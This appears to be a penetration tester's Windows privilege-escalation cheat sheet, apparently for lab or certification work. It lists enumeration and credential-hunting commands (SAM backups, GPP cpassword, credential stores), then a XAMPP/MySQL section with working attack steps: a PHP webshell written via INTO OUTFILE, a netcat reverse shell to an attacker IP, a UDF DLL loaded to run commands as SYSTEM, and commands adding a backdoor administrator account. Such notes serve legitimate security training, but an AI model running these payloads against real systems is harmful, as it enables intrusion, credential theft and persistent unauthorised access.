Windows Privesc

Checklist

OS Enumeration

systeminfo
hostname
Get-ComputerInfo | select OsName, OsVersion, OsBuildNumber

Patch Level & Exploits

wmic qfe get Caption,Description,HotFixID,InstalledOn
Get-HotFix | select HotFixID, InstalledOn

User & Privileges

whoami /all
whoami /priv
whoami /groups

Environment Info

set
Get-ChildItem Env:

Installed Software

wmic product get name,version
dir "C:\Program Files" "C:\Program Files (x86)"
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | select DisplayName, DisplayVersion

Processes

tasklist /v
tasklist /v | findstr <processname>
Get-Process | select ProcessName, Id, Path

# Check what account a specific process runs as
$p = Get-WmiObject Win32_Process -Filter "name='mysqld.exe'"; $p.GetOwner()
$p = Get-WmiObject Win32_Process -Filter "name='httpd.exe'"; $p.GetOwner()

# All processes with their owners
Get-WmiObject Win32_Process | ForEach-Object { $owner = $_.GetOwner(); [PSCustomObject]@{ Name=$_.Name; PID=$_.ProcessId; User="$($owner.Domain)\$($owner.User)" } } | Sort-Object User

Network & Internal Services

netstat -ano
ipconfig /all

Scheduled Tasks

schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"}

Services

sc query
sc qc <service_name>
icacls "<service_binary_path>"
Get-WmiObject win32_service | select Name, StartName, PathName | where {$_.StartName -notlike "*LocalService*" -and $_.StartName -notlike "*NetworkService*"}

AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Stored Credentials

cmdkey /list
# Windows Vault / Credential Manager
Get-ChildItem "C:\Users\*\AppData\Local\Microsoft\Credentials\" -Force -ErrorAction SilentlyContinue
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Credentials\" -Force -ErrorAction SilentlyContinue

# Unattended install files
Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,sysprep.inf,sysprep.xml -ErrorAction SilentlyContinue

# SAM/SYSTEM backups
Get-ChildItem -Path C:\Windows\repair, C:\Windows\System32\config\RegBack -ErrorAction SilentlyContinue

# GPP passwords (cpassword in SYSVOL, decryptable with a known AES key)
Get-ChildItem -Path \\<dc>\SYSVOL -Recurse -Include *.xml -ErrorAction SilentlyContinue | Select-String "cpassword"

Interesting Files

dir /s /b C:\*password* C:\*.config C:\*.xml C:\*.txt 2>nul | findstr /i "pass cred secret"
Get-ChildItem -Path C:\Users\ -Include *.txt,*.config,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List

Token Privilege Abuse

AV / AMSI Considerations

For getting tools onto the box, see File Transfer (Inbound).

Software-Specific Privesc

XAMPP / MySQL UDF

MySQL running as SYSTEM with a blank root password is a classic XAMPP misconfiguration. Two paths depending on what's available: UDF for command execution via MySQL directly, or a PHP webshell via Apache if the web root is writable - check which services run as SYSTEM first before deciding.

Check service accounts before attempting anything:

$p = Get-WmiObject Win32_Process -Filter "name='mysqld.exe'"; $p.GetOwner()
$p = Get-WmiObject Win32_Process -Filter "name='httpd.exe'"; $p.GetOwner()

MySQL and Apache are separate services - either or both can run as SYSTEM on a default XAMPP install.

Pre-flight SQL checks (via phpMyAdmin or direct connection):

SELECT user(), @@hostname;
SELECT @@global.secure_file_priv;   -- empty = can write anywhere; NULL = blocked entirely
SELECT @@plugin_dir;                 -- UDF drop location, usually C:\xampp\mysql\lib\plugin\

Test file write first:

SELECT 'test' INTO DUMPFILE 'C:\\Users\\Public\\test.txt';

Check from RDP: type C:\Users\Public\test.txt. If it exists, MySQL can write files and you know the service account has write access to that path.


Path A: PHP Webshell via Apache (try first - simpler)

Only works if Apache (httpd.exe) runs as SYSTEM or another privileged account.

  1. Write a webshell to htdocs:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';
  1. Test execution and confirm account:
http://<target>/shell.php?cmd=whoami
  1. If SYSTEM, grab proof directly:
http://<target>/shell.php?cmd=type+C:\Users\Administrator\Desktop\proof.txt
  1. Or get a reverse shell (cleaner for the report):
-- First, upload nc.exe via SQL
SELECT 0x<nc_hex> INTO DUMPFILE 'C:\\Users\\Public\\nc.exe';
http://<target>/shell.php?cmd=C:\Users\Public\nc.exe+-e+cmd.exe+<kali-ip>+4444

Path B: MySQL UDF (if plugin_dir is writable and MySQL runs as SYSTEM)

@@plugin_dir showing a path does NOT mean the directory exists - MySQL only stores the configured value. Verify the directory exists first and create it if not:

mkdir C:\xampp\mysql\lib\plugin
  1. Get the UDF DLL - lib_mysqludf_sys compiled for Windows x64. Pre-compiled copies on Kali at /usr/share/metasploit-framework/data/exploits/mysql/ or grab from GitHub.

  2. Convert to hex on Kali and upload via SQL:

xxd -p lib_mysqludf_sys_64.dll | tr -d '\n'
SELECT 0x<hex_of_dll> INTO DUMPFILE 'C:\\xampp\\mysql\\lib\\plugin\\udf.dll';
  1. Register the function:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.dll';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
  1. Execute as SYSTEM:
SELECT sys_eval('whoami');
SELECT sys_exec('net user hacker P@ssw0rd123 /add');
SELECT sys_exec('net localgroup administrators hacker /add');
SELECT sys_exec('C:\\Users\\Public\\nc.exe -e cmd.exe <kali-ip> 4444');
  1. Cleanup:
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;

SET GLOBAL plugin_dir is read-only - cannot be changed at runtime, only via my.ini at MySQL startup. If the plugin dir doesn't exist and can't be created, use Path A instead.

Metasploit alternative: exploit/multi/mysql/mysql_udf_payload handles DLL upload and function registration automatically.